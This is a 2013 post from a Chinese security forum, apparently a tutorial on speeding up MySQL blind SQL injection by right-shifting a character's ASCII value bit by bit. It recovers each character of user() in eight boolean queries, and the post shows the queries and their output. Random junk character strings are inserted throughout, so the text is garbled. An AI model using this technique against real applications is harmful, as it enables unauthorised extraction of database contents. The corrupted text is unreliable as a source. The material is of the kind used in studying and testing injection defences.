找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位) H7 J5 J* B2 D

& D2 I; }' C( b5 ^
* E( ~" l5 }3 c1 Z: w0 P, C  ^
, T8 U# o' c3 H2 c8 A: F下面将以查询mysql数据库当中user()的第一位为例:
0 `9 `& t; @( G' C) Y9 n% X9 v. @2 W( d5 g0 K' h) N  i: T( u' m, D
6 j8 F; o% J1 z: X. V& w7 \6 G1 G

# }* @- z; p6 s7 J& ]ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
; x8 {- Z/ q* _8 O5 |6 W1 M( s7 ]- d4 p

, c3 h, g: M* v* u1 [: M2 Q; P
9 v& k* g# T5 f" F, R首先执行如下sql语句:/ N/ V& v$ c7 n+ }5 A

' y( [& e' ~% p# A3 m8 l7 J
% W! Y; Z% I) |. p- w! w8 v7 {5 z
" D* G* x( A$ @4 K/ |, |5 \- n7 Nmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
2 D7 |# m9 s, |8 B9 E& l5 Z3 h5 C( m( T& L* g9 h# l( Q

# z# C3 S4 A8 m, A2 C7 F) {9 t5 x. I! F+ O+ @% b, L2 |
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的& C3 U/ u/ t; Y

  @/ I& N2 c8 ~, j : T; E3 |% N8 n# }. f( n  n0 N9 \

4 ]! G6 w/ Q; V0 U第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 G  ^* y+ n, i
. v4 _" K+ Y$ C: X: Y* `6 Q4 S 8 ~, @. i  [  g' t; g% {+ j/ G

/ ]. T! y$ S7 i9 G如果运算结果为1,说明第一位为0,不为1
* n& U4 R. F: {0 V8 L
$ R4 D' k  C8 `& a2 N% \
' Q) P. n0 L& n9 a& l0 E9 e; ~5 ^$ W: j: l# X1 C
+————————————–+
% n# h' m) B3 h3 @% A6 }& s3 \' w5 M  t6 O
| (ascii((substr(user(),1,1))) >> 7)=0 |2 Q: s% I) b' r2 Z/ p' u
8 m# v# Y* ~* E. Z& Q' R
+————————————–+( x+ T7 F; K! y. r

! T! M6 Q% G* {) y4 C0 N3 x| 1 |7 t  ?, X2 m. b9 C4 B9 H; O

* w5 {' Z$ [# T% p; H0 w+————————————–+
% m1 n' H; m2 G( z6 n  _
/ z7 T6 F$ |* ]& a2 y) `+ ~1 row in set (0.00 sec)
$ X- c$ a. \- e8 L/ R4 W
* |7 S5 Z) w1 w; E$ r! F6 d这样我们就确定这个8bit的ascii的第一位为07 Q1 o4 _& |9 P. O. a4 J3 |( [

0 q: C- Z3 c$ x5 k # Z7 h- L5 C$ V4 `; o, L

* n0 G7 d" J6 Z2 T: _% r/ d第二次我们来做6次右偏移来确定前两位1 n/ I; l5 N/ V9 V: s" B

5 R5 q) |) P- q! l; P- X5 Y6 m# o 9 Y. v, P7 `2 t" w4 g

/ }" ?/ i& J5 d( A8 v' N" K& \前两位可能是01或00,即依然可以与0做比较,( ?* ^* r" l" V- Y) o' j' T

" D( }4 l, I& J7 Q9 B& T# Pmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 k( K; d* ]0 E, f6 t) d& J) P! m
+————————————–+
9 _0 U( h: s" k4 ?% d0 |2 {: @9 ^% C1 J5 [  [8 t) `
| (ascii((substr(user(),1,1))) >> 6)=0 |, ?( f. F' g  w% l) P  z

- Y% J9 _) E, L+————————————–+
* A. O' N! S% k9 {/ b) X1 X, f& G" Q' v1 \; X
| 0 |
+ @; V( Z, B7 t; {) ~& ?: [( s6 t8 U5 t( W( N2 W: ^
+————————————–+7 U2 j) U' m7 Z" l

" |; r* Z5 d3 N' m: w* z' @1 row in set (0.00 sec)
7 a/ g$ s# F. u, ?7 C
- l$ k3 ~; ^$ i' A- I6 s
8 X2 q6 j- W, B4 k
" |3 K: X" N* d) y  [' P  E+ x) L结果为0,即第二位为1
! b8 l2 U" t/ q. f% ~, l0 T4 ~: E# c- O6 M" j' s$ G+ y% v
, x. w- n6 e$ F; v- b
: b. \& R% @% P0 C: S8 D
开始猜测前三位为010或011
2 v1 h- Q/ ~2 \, Y+ w. n0 t
" j6 R# h4 ^0 z# L/ O! t ' }+ w9 W# U+ Y) H' k8 Z
/ x8 _4 p, [& V$ I
让我们看看010和011的ascii码是多少
8 A- h+ b3 X, m5 E; R6 X& w7 s, \7 i# V- b) ]- T
* b8 D0 D2 K5 _. x/ n5 a, u
" v1 h  Z& s1 c# t9 m8 O* j! ~
分别查询select b’011′ select b’010′
: _! y6 H0 e) B0 |# a6 z, X
0 e# Q7 a5 d3 t. R$ E; d
- E% d9 t3 Y5 F$ T
; B( f( V* k; b# q) W+ E& C" o获得结果 010 = 2 011 = 3! Y& a- T, n4 a$ Y3 Z. ^! O

$ J" ^% }$ J/ j; M& H: ^8 b5 [
; P; b2 a! g0 t' f) e! R( g# e* \0 Y- u8 |2 s. w9 E4 z" G
执行如下sql:( B: I; E4 q/ S' F
5 c, b0 p. ?1 W  T. P7 ?
  @% D7 E) I5 L. Y) K5 g! R' F* g

, V* F. x. b: Y6 ]! u7 }# u  o+ zmysql> select (ascii((substr(user(),1,1))) >> 5)=2;+ W5 Q2 S9 s- g6 [4 J) q% f
/ M8 |, @, S% @/ I2 P
+————————————–+
* w8 s3 \# S1 y  a& o% _
, h0 y9 p. I; n| (ascii((substr(user(),1,1))) >> 5)=2 |0 j3 G& n9 H) ^4 r$ }

( J3 N/ e  b# b! Z, ^$ M8 O  Q3 `+————————————–++ Y+ v' z& e8 l* B7 K5 T+ x

0 p0 \$ T3 y' p. r0 R( J| 0 |
# [2 V* N2 k+ A4 N4 G6 M
9 Z! k. }0 R; e2 t" ~7 k+————————————–+  T: E9 y. b% y" u7 u- e" [) {
& c" R7 X% Y* }" {2 t
即前三位不为010,而是011
7 ~  _6 ~8 R2 O' L+ e4 X6 t$ }
# {$ \% T( u; q7 c
( p* y3 t9 R& m5 M- k8 o3 h( Z. {, O: c+ P. m2 j
直到获得最后一位, {: f( X: }0 w" t

; ~3 G% ?' M: y) c6 Q 4 E" D3 r* i& p9 A0 ?6 Z* `2 W

' L. ?/ M" E: F最终结果为:01110010
: V$ |! i0 A/ C* B
$ d1 Q8 K6 u7 V. V 2 A. F' M  r- S0 l
/ @' O6 {2 F" X, z- x
转换一下:
7 Q( E3 d( h1 H/ F
1 @) X* J6 M% f3 w1 W0 j9 p
4 ?+ h7 ^7 g7 V! p4 F- U9 r4 U& p2 j) j! P
select b’01110010′" Q$ A5 y: v  i
  N* N! k/ A0 z9 _. I8 E& A
: {6 z8 [, U- `8 s2 }' v
9 J) v- O/ P+ |$ ]
查询结果" \9 B% h/ |9 k- u7 v

4 }* |& y) h- O# y* d0 O
7 @" |9 b  i8 X* E7 T% X& X$ D2 D
+————-+
% q% _# y  s9 W% d. r
0 f3 B/ U, \( f. a$ _$ l  @| b’01110010′ |
) E/ p8 s+ |* G5 T& z: Z: H( ?' ^% n2 h8 o: G
+————-+$ a7 w8 M* Q0 J: H3 H. C
1 T& y* _/ j1 r
| r |
1 \: d4 ^- J; s* _! q$ o+ g" H) R, }) z' J
+————-+9 X' O$ ^  L) y# a! X
$ \# O; ]  Y6 x' g+ k9 W
1 row in set (0.00 sec)
+ l) F! P  H' \! Y* D" E/ r! ^0 a( y- }& k( Z/ H% V2 ]
6 V8 A1 O9 o3 k# c3 O( S  s

1 j! o, V7 l: B2 L这样我们就获得了user()的第一位.其它位依此类推8 o1 s+ ^/ c3 k
8 Z  W# V3 J  J& b8 O$ F0 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表